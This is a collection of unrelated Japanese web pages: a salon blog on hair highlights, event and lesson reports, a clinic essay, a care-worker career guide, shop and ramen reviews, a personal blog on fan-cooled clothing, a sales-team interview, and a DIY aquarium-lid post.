ハイライトをしたいけど、あまりイメージが湧かない・・・と言うこともありますよね??
ハイライトに迷った時は、ハイライトの事はさておき、先ずは担当者にどんな印象になりたいのか??をよく相談して見て下さい
こんな雰囲気が好き!!など、インスタやネットからの画像を見せてもらっても構いません。
僕の場合、その、こうなりたい!!って言うイメージにどんな技術(ハイライト)が必要なのかを分析して、提案させて頂きます。
それが細めのハイライトなのか?太めのハイライトなのか??
ダブルカラーなのか??
技術、技法、方法は無数にありますので、その中で一番良い方法を提供していきます
夏野菜をイメージしてみましょう・・・・
夏野菜👉鮮度👉鮮やか👉ミドリ👉スイカ👉縦軸ラインのデザイン👉ハイライトで鮮やかなコントラスト👉メリハリ
と言う具合にしてみました
今回はお客様が前店長の現役美容師さんなので、遠慮なく原色のヘアカラーをしておりますが、もちろんナチュラルなコントラストカラーもハイライトデザインで出せます。
☝ハイライトデザインです
こちらはナチュラル系ヘアカラーの場合で、透明感を意識してヘアカラーをさせて頂いたものです。
ハイライトカラーのデザインでも、全く違う印象になりますね!
なので、夏野菜でも、一般的なヘアカラーでも、コントロール次第で表現が変わります\(^o^)/
じっくりとカウンセリングしてから決めていきましょう
いつでもご相談下さいませ\(^o^)/
沖縄県沖縄市美原4ー1ー1
ヘアカラーリスト&スタイリスト NAO
☎0989387530
⬇公式LINE@では最新情報からお休みのご案内まで随時配信中ですので、宜しければご登録をお願いします(^-^)
意志のある前髪とヘアカラーと💖 本日も沢山のお客様にご来店頂きました!\(^o^)/ ありがとうございます😃 さて、本日のお客様のご紹介です\(^o^)/ スタイリッシュなお客様である眞榮城様のご来店でした😃 前髪には意・・・...
秘密のヘアリセッター✂カットしながら髪質を変えた様な仕上がりに!? 素敵なご縁に感謝です!\(^o^)/赤嶺マキ様のご来店でした😃 今日は遠い所から有難うございます!🙇 本日は、ご相談しながらお勧めさせて頂きましたメニューが、 ①カット&デザインカ・・・...
ヘアリセッターで悩みを解決(^-^) ⬆いつもお世話になっている島袋様(中央)のご来店でした\(^o^)/ ※写真はお帰りの際に島袋様を挟んで僕(左)と(右)ルミねーさんで記念撮影💕 約10年ほどのお付き合いで本当にお世話になっている島袋様・・・...
宜保様のトリプルブリーチとヘアカラー\(^o^)/ 長年ヘアカラーを担当させて頂いている宜保様のご来店でした\(^o^)/ 先月のヘアカラーでは、「ダブルブリーチ」➡2度のブリーチカラーでブロンド状態にしてからのペールブルーを入れたヘアカラーを行いました\(^o^)/ ・・・...
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参加無料!11/4(土)にアルカスSASEBOにて『ジンバルロック』や『うちの子になりなよ』で知られる漫画家、古泉智浩先生による小学生から高校生までを対象とした漫画教室を行います。現在、参加者を募集中。保護者の方の同伴も歓迎しています、フォームからお申込みください。
2017年10月27日追記
会場のスペースを広く使うことができるようになり、追加の申込を現在受付中です。
それに伴ってこれまで要望の多かった社会人の方の参加も受付をいたします。プロの漫画家の方に来ていただける滅多にない機会ですので、興味のある方は是非お申し込みください。
(ただし、座席については小中高生を優先し、それ以上の方は後方に座って頂くことになりますのでご了承ください。)
小中高生の方の参加も引き続き募集中です。
2017年11月4日(土)
(第一部)10:00〜13:00,(第二部)15:00〜18:00
アルカスSASEBO 3F 中会議室
(2017年10月27日より社会人の方の募集も開始しました。)
1969年生まれ、新潟県在住の漫画家。1993年『ヤングマガジン』ちばてつや賞にてちばてつや大賞を受賞してデビュー。『ジンバル・ロック』や映画化された『青春☆金属バット』など多数の書籍が出版、近著『うちの子になりなよ』では不妊治療の末、里親として待望の赤ちゃんを預かった子育てエッセイを描き話題に。
長崎の佐世保で漫画教室をさせていただくことになりました!11月4日、とっても楽しい初心者教室で、無料ですよ~。対象は小学生から高校生までです。 pic.twitter.com/tUaRUmxdm8


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text:
レッスンの内容を一部ご紹介しましょう。
まずは1日レッスンを共にするグループ分けをしました。そしてご挨拶。まず最初に打ち解けておきます。
せっかくバンクに入ったので、すこし身体をほぐすためにさっそくバンクを周回しました。初めて走る方ばかりで、中にはテンションが上がった! という嬉しい声も。500mと長くカントも緩いのでロードバイクでも走りやすく気持ちよさそうに走っていましたね。
バイクの扱い方については、荷重の乗せ方をグループ内でディスカッションせよとの指令が。教えられるだけでなく自分たちで考えることが大事です。スマートフォンを用いて撮影し、共有して話し合うだけでもずいぶんと意識は変わるものです。
自転車に乗る上でどの部位(筋や可動域など)を使うのかをチェック。動きのスムーズな方、そうではない方がはっきりと見受けられました。そして自分の身体の動かし方に気が付くことができました。
コーナリングにおいてはパイロンや踏んでも平気なマーカーを用いて行ないました。10Rのコーナーをスムーズに走ることができるか。走り方の原理原則を覚えればみんなこなせるようになりました。
そして福田コーチがリスペクトする“YANS”こと柳原康弘さんに教えていただいたという方法でスラロームを。このスラロームも得手不得手が見え隠れ。行なっていくうちにグングンと上達し、上手い人になるとプロライダーも唸るほどのバイクコントロール術を披露したのでした。
芝セクションではタイトな8の字コーナーを。タイムを競うことで、どうしたら速く曲がれるか、考えることができますね。ゲーム性も出て面白い。
最後にはローテーションの練習。トライアスロンでもショートなら覚えておきたい技術。体力を温存できるので速く楽に走ることができます。その基本概念を覚えるためにまずは徒歩でやってみます。
いよいよローテーションをバンク内で試します。かなり全員が意識することでスムーズに回ります。逃げと追走の模擬なども行ないました。
……と、盛りだくさんの内容で、取材していてもお腹いっぱいです。
これも千葉競輪場の寛容な姿勢があってこそ実点した企画。
ありがとうございます。週末開放している日もありますので、サイクルクラブ千葉のFaceBookをチェックしてみてくださいね。
また参加された皆さんもありがとうございました。また来年面白い企画を用意しますね!
と、次回は1月29日(日曜)に東京エンデューロ2017in彩湖に向けたトレーニングライド(試走会)を行ないます!
ファンライド編集部ふぁんらいど へんしゅうぶ
FUNRiDEでの情報発信、WEEKLY FUNRiDE(メールマガジン)の配信、Mt.富士ヒルクライムをはじめとしたファンライドイベントへの企画協力など幅広く活動中。もちろん編集部員は全員根っからのサイクリスト。
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これから大人になっていく子供達にも向けられた大切な言葉でした。
西洋医学は”人間の命を救う”ことに全てを注いできました。そのおかげで超高齢社会が出来上がり目的が達成出来ています。しかしその反面”肩こり”や”腰痛”といった命には関わらない日常の苦悩にはほとんど関心が示されず研究も進んできませんでした。なぜかというと、医者がそれを治しても評価はされず儲かりもしないからです。
現在整形外科などで行われている治療は数十年間ほとんど変化していません。しかしそこで良くなった方も当然おられます。それはそこでの治療で治る症状であっただけです。では治らない方はどうするのでしょうか?路頭に迷います。俗にいう”腰痛難民”などです。
私たち代替医療者はその部分を日々研究し、一般的な治療で良くならなかった方の手助けをすることが一番の目標です。結果(症状)が同じでも原因は様々であり施術の方法も様々です。当然治るスピードも個人差があります。ここで本庶氏の言葉を思い出してもらいたいのです。
「なぜ?」という疑問を持つことです。
なぜ肩こりが起こったのか?
じゃあなぜ姿勢が悪くなったのか?
姿勢が悪い人はみんな肩こりがあるのか?
他の人はこの方法で良くなったのになんで私は良くならないのだろう?
言いだしたら沢山ありますね。しかしこれがとても大切なことなんです。人任せでは良くなりません。完治というパズルを完成させるのは患者さん自身です。その中のいくつかのピースの部分をお手伝いさせてもらうことでゴールへの近道になるでしょう。
通常の医療で良くならなかった方には、通常以外の方法が必要になります。それには時間も費用もかかります。ですから当院で行っている方法に関心と疑問を持って頂きご来院下さい。きっといい方法が見つかると思います。
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戸籍抄本、戸籍の個人事項証明書、本籍地を記載した住民票のいずれか
登録免許税(9000円分)の収入印紙
登録手数料(3320円)の振替払込受付証明書
以上を簡易書留で試験センターに送付すると、審査・登録が行われ、問題なければ1ヶ月ほどで登録証が自宅に送られてきます。
合格したのに1万円以上の出費はかなり痛いですが、この手続きをしないと全くの無意味になる…足下見やがって…(怒)
ちなみに、登録の期限はなく無効にもなりません。ですが、介護福祉士の登録を行わないと「介護福祉士」として働けないので、早めに登録しておくことをおすすめします。
参考サイト:公益財団法人社会福祉振興・試験センター
現在の給料条件などを見直す
介護福祉士の資格を持っているか持ってないかでは、基本給が全然違います。ですので、すでに介護職員として働いている方は、勤務先の上司に一度相談してみましょう。
会社の規定で、介護福祉士だと賃金が上がる、または資格手当が付く場合もあります。パートや派遣社員なら時給数十円~数百円のアップが見込めることも。
ですが、介護福祉士の資格取得前と同じ給料で維持し、人件費を節約しようとする、ちょっとブラックな事業者も存在します。
給料交渉は言い出しづらいかもしれませんが、「給料は上がるのか?」「手当は付くのか?」と聞くのはとても大事なこと!
上司が「介護福祉士を取得した」と知っている場合であっても、報告を兼ねて上司に相談してみましょう。特に、勤続が長い人は、これを機にリーダーに昇格できるかもしれませんよ。
給料交渉された上司はどう思う?
もしかして「給料アップの交渉なんてしたら嫌われる」と思っていませんか?それは大きな勘違い!むしろ、相談を受けた上司は、あなたのヤル気に関心してくれるはず!
「どうせ給料なんて上がらないよ」と消極的な社員と、「もっと給料あげてください」と積極的な社員なら、後者の方が頑張ってくれると期待できますよね。
もちろん、給料が上がったら今まで以上に頑張らなければなりませんよ!
条件交渉のポイントとしては、「給料をあげろ」と威圧的にいくのではなく「給料って上がったりしますかね?笑」とやんわりムードでいきましょう。
もし「いやぁ~難しいね~」と濁されたら「では給料が上がる条件とかあります?」と返してもいいでしょう。頑張ってくれる社員、やる気が見られる社員なら、必ず応えてくれるはずです!
介護福祉士として転職する
せっかく介護福祉士に合格したのに、現状の給料に満足できない。または、勇気を出して条件交渉したのに、資格取得前と給料が変わらない。
そんな場合は、思い切って転職してみるのも手!介護福祉士のあなたを求める施設は、他にもたくさんあります!もしかすると、今よりも好条件の求人が見つかるかもしれませんよ!
転職する気がないにしても、一度、どういった求人が、どれほどの給料なのか見てみるといいでしょう。本当の自分の価値が分かるはずです!
→ かいご畑で介護福祉士の求人を見てみる(無料登録)
いかがでしたか?介護福祉士の登録手続きまではやったけど、給料アップの条件交渉までは考えもしなかった!という方がほとんどだと思います。
実は、私自身も「そんなこと普通しないよ笑」と介護仲間に笑われた記憶があります。
しかし、国家資格を取得し、以前に比べて自分の人材価値は間違いなく上がっているはず。これはチャンスだと思い、勇気を出して上司に相談したことが一つの転機になっています。
今年、介護福祉士に合格した皆さんも、このチャンスを逃さないようにして下さいね!
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こんにちは。すみおかやのふみちゃんです。 先日の23日、無事りんごまつりが開催できましたこと報告いた >続きを読む
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2019/03/29    山の店日記   サワーキャベツ 片桐扶未代
当店手作り お宝袋 5個
南信州産 市田柿 贈答用 1kg
当店手作り あまごの甘露煮 8尾入り
当店手作り 鯉の旨煮 5切
塩こうじピーナッツ 6袋セット
令和4年もよろしくお願いしたします。
なかなか投稿できなくてごめんなさい。今年もりんご祭り開催します。
暑中お見舞い申し上げます。
根羽産とうもろこし随時ご予約受け付けます。
ご無沙汰してごめんなさい。とうもろこし情報
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《お電話でご注文・ご予約できます》TEL 0265-49-2307
〒395-0701  長野県下伊那郡根羽村1625
営業時間/午前8時30分から午後7時 http://sumiokaya.com/
明日6月9日より南信州産とうもろこし販売します - 長野のお土産|山のお店・住岡屋商店 長野県最南端 根羽村(ねばむら)の小さい商店。お惣菜や果物、山の幸、信州みやげで人気のお店
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甲子園駅から1駅で2分 武庫川駅から徒歩5分のラーメン専門店 和海(なごみ)
今回、ご紹介するのはラーメン専門店 和海(なごみ)です。場所は、阪神甲子園駅から1駅の武庫川駅まで2分、武庫川駅から徒歩5分ですので、ほぼ甲子園球場内にあると言っても過言ではありません(笑)甲子園球場付近で食事をするにしても徒歩10分程度のところが多いので、それを考えると相当アクセスの良いところにあると言えます。
ラーメン専門店 和海(なごみ)は、2011年6月のオープン当初から美味しくて人気のあるお店だったのですが、食べログの百名店に3年連続(2017年・2018年・2019年)選ばれたことに加え、ABC放送の人気テレビ番組 松本家の休日でも紹介されたことでその人気に拍車がかかり、今では相当並ばないと入店が出来ないほどになっています。
メインのラーメンメニューは、基本的にこだわりの塩ラーメン1種類です。定番メニューとして5種類のメニューがありますが、どのラーメンもスープは同じで乗っているチャーシューの種類と量が異なるだけです。ですので、初めての方でもどの味にしようかと悩む必要がないのでストレスフリーです(笑)
今回、注文したのは一番人気の塩ミックスです。鶏ムネ・鶏もも・豚バラの3種類が各二枚乗っています。和海(なごみ)は勿論、ラーメンのスープが一番の特長ではありますが、このチャーシューの絶品さがさらに人気を押し上げているとも言えるほど美味しいので、初めての方は是非、3種類のチャーシューの入った塩ミックス(少なめを希望の方は塩ラーメン)を注文して下さい。
写真上部にある竹輪のようなトッピングは、車麩(くるまぶ)で焼き麩の一つです。ラーメンのスープをたっぷりと吸わせて食べると美味しいですよ。
スープに魚介のコク(インパクト)が欲しい方向けに、煮干しオイル(50円)が提供されていますが、初めての方はまずノーマルのスープを味わっていただくことをおススメします。
ベースの麺はもちっとしたストレート麺ですが、替え玉は固めの細麺が提供されます。スープは同じでも麺が細麺に変わるだけで違ったラーメンを食べているような錯覚に陥るほど、味覚が変わるのでお腹に余裕がある方は是非、注文してみて下さい。
替え玉の他にも刻み鶏炙りご飯やチャーシューご飯などがあり、これは残りのスープにドバッと入れて、雑炊のようにして食べます。
ごはんものも提供しており、中でもふわふわ卵の下に刻みチャーシューとネギを忍ばせたふわ玉丼は大人気です。こちらも初めての方は是非、注文していただきたい一品です。
最後にですが、メニューは塩ラーメン1種類と言いましたけど、日によって限定メニューが登場します。これがある日は本当にどちらを注文するか悩みます。お店が空いていてもう少し高い頻度で行けたらこの悩みは解決するのですが、当面、行列はなくなりそうにありません。
甲子園球場に行く方だけでなく、関西に来られたラーメン好きな方にとっては、ラーメン専門店 和海(なごみ)はわざわさ出かけても行く価値のあるお店ですよ。私は長時間並んでまで食べることは多くないのですが、和海(なごみ)は止む無しです(笑)
平日・休日問わず、基本的には開店前から並んでいますが、平日の14:30以降は割と狙い目だと思います。
甲子園球場から16分の麺や一芯もおススメですのでご興味のある方は是非!
人気&有名店のラーメン・つけ麺をお取り寄せ 宅麺.com
住  所:尼崎市武庫之荘2丁目19-3
営業時間:11:30~15:30(スープなくなり次第終了)、日・月曜日定休
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網戸や扇風機、吸水速乾素材服ではやはり限界がある。暑さを完全に避けようとすると、冷房以外存在しない。
そんなわけで、コロナ禍によってイベントや展示会が減っていて、外出する用事がない真昼は冷房を点けている。
屋内にいる時は冷房を点ければ済む話だが、外出する際は、冷房を担いで行くわけにはいかない。
元から暑さに弱く汗っかきだが、加齢による更年期障害か、こらえ性がなくなったのか、とにかく晴れた夏の真昼に屋外行動をすることが苦痛で仕方がない。
もう分厚い綿100%Tシャツなんて汗で濡れることが不快で着ていられない。吸水速乾素材服に活路を見出したのは以前にもこのブログで書いた通りで、ジーユーで590円に値下がりしたドライユーティリティポケットビッグTシャツの5枚のローテーションで真夏の昼間を乗り切っている。
だが、暑さ自体は軽減されない。当然、汗をかく量も全く変わらない。
単に洋服が速く乾くので、綿100%ヘビーオンスTシャツよりは快適だというだけのことである。
冬の保温肌着に使われる吸水発熱素材の逆バージョン、吸水冷却素材が本格的に開発されないことには解決できない。
そこで今、真剣に考え始めたのが電動ファン付き服の購入そして着用である。
51歳の中老のジジイにとって、少々の見映えの良さなんて物は、犠牲にしても何ら惜しくない。「モテ」なんてさらさら求めていないし、まかり間違ってモテてしまっても対応に苦慮するだけのことである。
それよりも涼しさ、快適さ、汗をかかないこと、の方がはるかに重要である。
AmazonやYahoo!ショッピングで検索してみても、電動ファン付き服は山ほどある。
また、どう見ても「作業服然」としたものも多い。
見映えの良さは捨てているというものの、やっぱり作業服に見えすぎるのもちょっと嫌だなと思う。この辺りは我ながら矛盾している。(笑)
で、選定基準が難しい。
何せ、この分野における知識が乏しいから。
電動ファンにも「通常タイプ」と「薄型タイプ」があり、この効果の違いすら、当方にはその知識がない。
知識が乏しいから選ぶに選べないわけである。
仮に詳細な説明文がついていれば話は別だが、ざっとネット通販を見た限りにおいて(見落としている可能性はあるが)、見かけた記憶がなく、選ぶための基準を持てないでいる。
これがネット通販の欠点ではないかと思う。
実は、先日、ちょっとどうしても必要があって久しぶりにAmazonで買い物をした。レザーと金属用の接着剤を買った。内容量が50グラムと書いてあったので、かなり小さ目のチューブ入りのボンドを想像していたのだが、到着した品物を見て驚いた。20センチ近くもある大容量のチューブに入っていたのである。
いや、そんなにたくさん使わへんねんけど・・・・。
こういうミスマッチがネット通販には多い。内容量や寸法が書いてあったとしても、それを正確に想像できる人はその道のプロくらいである。
洋服に関しても同じで、業界人ほどには一般消費者は洋服や生地に関する知識が少ない。ネット通販対策としてアパレル各社は工夫を凝らしているのは重々承知しているが、まだ説明が足りないのではないかと思ってしまう。
で、電動ファン付き服に話を戻すと、ネット通販では選定基準に対する知識がさっぱり増えないので、実店舗の販売員に話を聞きに行こうかと思っている。
例えばワークマンに行って、売り場に立っている人に話を聞けば少しは選定基準ができるのではないか。
これこそ、実店舗と販売員の役割ではないかと改めて思う。
どんどん買ってみて試せばいいじゃないかと言われそうだが、ジーユーの値下がり品とは値段が異なる。服+バッテリー+電動ファンで、ブルゾンタイプなら安くても2万円台半ば、ベストタイプでも最低1万円台半ばである。
買って失敗しながらコツを覚えて行くには高価すぎる。
ジーユーで590円に値下がりした服を試しに買ってみるというようなわけにはいかない。
作業服関係者によると、今夏は昨夏に比べて、電動ファン付き服の作業着需要が減っているという。昨夏でほとんど買いそろえてしまったこと、昨夏はコロナ給付金が支給されたこと、などが大きいようだ。
一方で、少しマシとはいえ、今夏も暑い。吸水速乾服では耐えきれないという一般人も多いだろうし、何よりも今は「快適性」「利便性」が重視される世相だから、一般人の電動ファン付き服の購入は増えるのではないかと思うがどうだろうか。
説明文不足でわかりにくいのだが、個人的には試しにこれを買ってみようかと思っているのだが、どうだろうか?
そごう・西武/暑さ対策のファン付きウェア「空調服」オンライン限定販売 | 流通ニュース (ryutsuu.biz)


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浪岡:社内会議で使う分には、「事前にこのアプリをインストールしておいてください」「PCでGoogle Chromeを使ってこのURLを開いてください」と伝えておけばよいのですが、営業シーンではそうもいきません。
まだ話したこともないお客様にアプリインストールを依頼しても、「面倒だから来てくれ」となりかねませんし、実際に接続を試みたら非対応の環境でつなげなかったとなっては大事な商談機会を逃してしまいます。
浪岡:その点ベルフェイスは、お客様側のアプリインストールやID発行は一切不要で、ブラウザやデバイスの制限もありません。インターネットにつながったパソコン、タブレット、スマホさえあれば、誰とでも5秒で接続を開始できるのが最大のウリです。
浪岡:そういった接続の簡単さや、音声は電話回線を使って安定させているところ、他にもトークスクリプトや録画機能など様々な部分が評価され、おかげさまで3,000社(2021/1/1時点)以上にご導入いただいています。
数字へのコミットが強いメンバー達
ベルフェイスの営業チームは現在6ヶ月連続で目標を達成していると聞きました。世の中目標が達成できず悩んでいる営業責任者の方はたくさんいらっしゃると思うので、今日はなぜ浪岡さんのチームが目標を達成し続けているのか、組織と体制、利用するセールステック、施策の3つの観点で聞きたいと思います。
──浪岡さんのチームは今何人の営業がいらっしゃるんですか?
浪岡:私を除いて6人のチームです。インバウンドの営業担当が5人、アウトバウンドの営業担当が1人です。
──その5人に共通するバックグラウンドや強みはありますか?
浪岡:バックグラウンドに関しては特にないですね。全員営業経験者ではありますが、年齢や前職の業界は様々です。1つ言えることとしては、数字へのコミット意識が異常に高い点は全員に共通しているかもしれません。
ですので、1つ1つの商談への本気具合は見ていていつも驚かされます。毎日4~5件の商談を抱えているのに、1つたりとも手を抜きません。そのあたりは自分のチームながら営業のプロフェッショナルが集まった良いチームだなあと感心しています。
インバウンドの営業は99%オンラインで完結
次に体制についてお伺いします。6人の営業がいる浪岡さんのチームでは、インバウンドに取り組む営業が5人、そしてアウトバウンドに取り組む営業が1人という構成になっています。まずはインバウンドの体制から確認していきます。
──リードが発生してから契約に至るまでの簡単なプロセスをお伺いできますか?
浪岡:契約を獲得するプロセスに関わるのは主に3チームです。オンライン・オフラインでのリード獲得を担うマーケティングチーム、マーケが獲得したリードの質を精査しヒアリングと商談化を担うSDRチーム、そして商談を行いクロージングを担う営業チームです。
──直近オンライン・オフラインのリードを合わせると月間1,000件以上のリードを獲得されているそうですが、インバウンド営業は5人で回っているのでしょうか。
浪岡:はい。むしろこの人数でもっとリード欲しいくらいですね(笑)。
浪岡:ベルフェイスの営業チームの強みは、ベルフェイスを売っているので当たり前と言えば当たり前なんですが、商談の99%はオンラインで完結する点にあります。訪問だと1人の営業が1日にこなせる商談は3件くらいが上限だと思うのですが、ベルフェイスの営業は1日で平均4~5件の商談をこなします。7~8件の対応も可能です。
──なるほど、ほぼオンラインで完結させることで生産性を上げているんですね。
浪岡:はい。月額数万~十数万円の商材の年間契約なら、問題なくオンラインで完結できます。ごくたまに、2回目以降の商談で複数人にベルフェイスのデモを行いたい場合に限って、訪問することもありますが、ほんの一部ですね。
アウトバウンドは1社1社にカスタマイズした手紙を作成
──アウトバウンドの取り組みは最近始めたそうですが、どういったことをやっているのですか?
浪岡:ベルフェイスと相性の良さそうな大企業をピックアップして、その企業の営業責任者に手紙を送っています。
浪岡:手紙の内容は1社1社カスタマイズしてかなりこだわっていますね。その会社のWebサイトやIR情報などを見て、「貴社だとこういう使い方ができると感じました」「インタビュー記事を拝見させていただきました」といったメッセージを書いています。そのあとコールして商談につなげています。
──アウトバウンドの取り組みを始めた目的はどういったところにありますか?
浪岡:1つはWeb上からは獲得できない大企業へのアプローチのためですね。ベルフェイスと非常に相性良くてきっと使いこなしてくれそうだけど、アウトバウンドのアクションをしないと獲得できない企業はやはりあると思っています。
浪岡:そしてもう1つは営業主導で売上を確保するチャネルを確立するためです。今受注の大半はWeb上からの資料請求に頼っていますが、これはつまりマーケチームやSDRチームが目標を達成できなかったらそれと連動して営業チームも目標を達成できない可能性が高くなる構造になってしまっています。
インバウンドのメリットはたくさんあるのですが、そういったデメリットもあるため、営業だけで完結して売上を確保する動きは今後強化していきたいと考えています。
──実際成果も出てきているんですか?
浪岡:今取り組みを始めて3ヶ月くらいですが、すでに成果は出ています。これから売上の1つの柱として確立していく土台ができてきたような段階ですね。
【アウトバウンドに欠かせない】ベルフェイス監修アポ取り鉄板トーク集はこちら
オススメのセールステックはベルフェイスとクラウドサイン
次に、ベルフェイスで活用されていて、売上向上や生産性改善につながったセールステックについてお伺いします。
──チームで活用しているセールステックツールで、他の会社の皆さんにオススメしたいものはありますか?
浪岡:まずは宣伝みたいになってしまいますが、弊社の製品ベルフェイスですね(笑)。いま約3,000社(2021/1/1時点)にご利用いただいていますが、多くの企業で売上が向上したという実績が出ています。
浪岡:ベルフェイスのメリットは、移動削減による商談数増加やコストカットがわかりやすいのですが、それに加えて営業のデータ化による受注率向上や教育の活性化もあります。
ベルフェイス上で行われた商談は録画録音できるため、後から振り返ったり同僚や上司に共有してフィードバックをもらうこともできます。
商談をオンラインにしたら受注率が下がるんじゃないの?と聞かれることがあるんですが、そんなことはなくて、ほぼ変わらない、もしくは上がったというお客様もいます。それはそういった営業のデータ化による商談スキルの洗練が要因になっているのです。
浪岡:あともう1つは弁護士ドットコムさんが運営するクラウドサインですね。このツールはベルフェイスと非常に相性がいいんです。もちろんベルフェイスを使っていない企業でも役立ちます。
浪岡:クラウドサインはクラウド上で契約書を締結することができるツールです。本来契約書はメールでお送りして、お客様が印刷・記入捺印・スキャン・返送という流れで締結されますが、この作業って結構面倒ですよね。
大抵の人が契約書が送られてきたタイミングでとりあえず保存だけしておいて、一旦放置すると思います。それがクラウドサインなら、メールで送られてきたURLをクリックして、いくつかの項目をクラウド上で入力すれば、すぐに契約が締結できます。このツールがあれば契約書回収のスピードが格段に上がります。
浪岡:ベルフェイスとクラウドサインを組み合わせれば、インバウンドリードに対して、「今日の夕方30分商談できますか?」とつなげ、その商談で合意が取れれば「では今からクラウドサイン送るので締結お願いします!」とリードタイム0日での受注も可能なんです。これぞセールステックの力、ですよね。
目標達成のポイントは有効商談の見極め
──6ヶ月間連続で目標を達成したとのことだったのですが、6ヶ月前におこなった施策で最も有効だったものは何なのでしょうか。
浪岡:これは有効商談の見極めですね。
浪岡:そもそも弊社では、お客様に関する情報は全てSalesForceにまとめるよう心がけています。リードが発生してから、契約しカスタマーサクセスに至るまで、全てのプロセスでSalesForce上に情報が記録されるようになっています。
目標未達に終わった7ヶ月前に、達成のためには何が必要なのかを分析した結果、有効な商談の見極めが必須だなということがわかりました。
──営業のデータを細かく管理して分析しているんですね。実際その時はデータ分析からどういうことがわかったのでしょうか。
浪岡:当時営業は1人1日7商談くらいを平均でこなしていました。その状態から商談数を増やすのは人員を増やさない限りは難しかったので、受注率を上げる方法はないかとデータを深掘りしてみました。すると2つのことがわかったんです。
見込みのない商談が発生している
その結果商談数が膨らみ、見込み顧客との商談の事前準備や商談後フォローに十分時間を使えていない
浪岡:このことから、まずは「ほぼ受注につながらないリードの条件」を調査しました。業界・企業規模・検討の目的など、様々な要素とその後の受注率の相関を見た結果、ベルフェイスの商談においては、大前提「営業目的で検討しているか」という点が重要だということがわかりました。
浪岡:ベルフェイスは営業に特化したWeb会議システムですが、やはりWeb会議は社内会議での利用を検討している方も多くいらっしゃいます。最近だとそれ以外にも採用面接での利用も増えてきているようです。
リードの中には一定そういったお客様がいらっしゃったので、そういったお客様とも商談していたのですが、実は営業目的での利用検討ではないお客様は100社商談して1社受注するくらいの受注率だということが判明しました。
浪岡:その他にも、やはり業界というのは受注率に大きく関わります。東京に1拠点だけあるクラウドサービスを運営する会社などはオンライン商談の必要性を強く感じていることが多く、受注の可能性も高まります。そこで、利用目的と業界という2つの軸でリードをA~Cの3ランクに分類するようにしました。
浪岡:同時に、それまでは営業チーム内でリードに対して架電して商談化するチームを設けていたのですが、別途SDRチーム(※リードの質を精査しヒアリングと商談化を担う)を独立して立ち上げることによって、リードのランク分けはそのSDRチームが担う体制を作りました。
SDRチームが1件1件リードに対して架電を行い、ランクを判断した上で一部はすぐに商談化しないというフローにしたことによって、営業チームは確度の高い商談の率を上げることができるようになりました。
そうするともともとほぼ受注することができなかった商談が減った分、残りの商談に対する事前準備や商談後フォローに使える時間が増え、結果として受注率向上と6ヶ月連続での目標達成をできるようになったのです。
【ベルフェイスのSDR組織についてもっと詳しく知りたい方はこちら】
【ロープレチェックシート付き】インサイドセールス新人教育担当リーダーに聞く本当に効果的なロープレ方法大公開!
今回はベルフェイスの営業マネージャー浪岡に「6ヶ月連続でベルフェイスの営業チームが目標を達成している理由」についてインタビューをしました。
数字へのコミット意識をメンバー1人1人が持っていること、そしてセールステックを活用することでデータドリブンで効率の良いアプローチができていること、この2つがベルフェイスの営業チームの特長というように感じました。
受注率を上げるために、受注率と相関する商談の条件を探し、見込みのない商談はブロックするという施策に関しても、他社様でも応用できるものかもしれません。ぜひ参考にしてみてください。
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投稿者: 依田昂騎(よだ・こうき)
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フィルム施工屋のブログ 番外編  ·  14日 2月 2022
フィルム施工屋のブログ 番外編
茨城県神栖市のフィルム施工専門店
今日は番外編です。今回は我が家のメダカ用水槽のフタ作成です。
本日は、昨年2月に施工をさせて頂きました、千葉県柏市のT様邸へ、保障期間中の状況確認とフィルム施工窓の清掃サービスの為、ご訪問を致しました。施工させて頂きましたフィルムは各部屋用途別に、GAFIL(グラフィル)飛散防止UVカットフィルム SN50 , 同 遮熱断熱フィルム NS70LE , 同 強貫通対策フィルム(防犯フィルム) SN350 です。
さて、今日の番外編は前回告知致しました通り、メダカ用水槽のフタの製作模様を掲載致します。元々フタが付属されていない水槽ですが、別売もされていない為、エアーレーションの水しぶきが周りに飛び散り、水槽内の水が減るのと、周囲への被害がある為、フタを自作する事にしました。無いなら作ります(出来るものは・・・ですが!)
先ずは、水槽の丸い開口部の寸法を測り、100均で買ってきたボードにフタのサイズになる円を描いていきます。コンパスが見当たらなかったので、段ボール紙をコンパスの代用として、だるまピンタイプの画鋲を支点にし、段ボール紙を軸、鉛筆を作用点として円を描きます。
糸ノコを使い、描いた円の少し外側を切り出していきます。ジグソーが有れば、私はそちらの方が得意なのですが・・。無い物は仕方がないので、有るもので代用できる物を使い加工をして行きます。
切り出した円盤を荒目の紙やすりで、罫書き線に合う様削って行き、罫書き線に合ってきたら、目の細かい紙やすりに変え円を仕上げていきます。
糸ノコで切り出し、紙やすりで仕上げた円形ボードは治具になります。その治具をアクリル板に両面テープで貼り付けます。
アクリルカッターを使い、治具に沿ってアクリル板を切り出して行きます。
切り出したアクリル板のセンターに穴を開けていきます。今回は1.5mmの穴を開けました。
次にエアーレーション用のエアホースを通す開口を切り出して行きます。先ずは、外径6mmのエアホースが通るように8mmの穴を開け、その外形に合わせストレートの線を罫書きます。
8mmの外径に合わせ罫がいた線をアクリルカッターで切り出して行きます。これでエアホースを通す開口が出来ました。
だるまピンタイプの画鋲の針を1mm程度残しニッパーでカットして、センターに開けた穴に合わせ、クリアーのコーキングで接着して取ってを作って行きます。
コーキングが乾いたら完成です。出来上がったフタをかぶせてみました。バッチリ‼ まるで既製品みたいな出来上がり。早速フタの内側に水しぶきが付いています、これで水槽の外への水の飛び散りもなくなり、エアレーションの音も静かになりました。エアホース用の開口サイズもちょうどよく大満足です。・・・いやいや自己満足??かな。
茨城県神栖市のフィルム施工屋
に、窓ガラスフィルムや化粧フィルム(ダイノック / リアテック / パロア他)で出来る事、関連するお悩みをご相談ください。共に考え、より良いご提案をさせて頂きます。お見積りは全て無料で行います。 お問い合わせお待ちしております。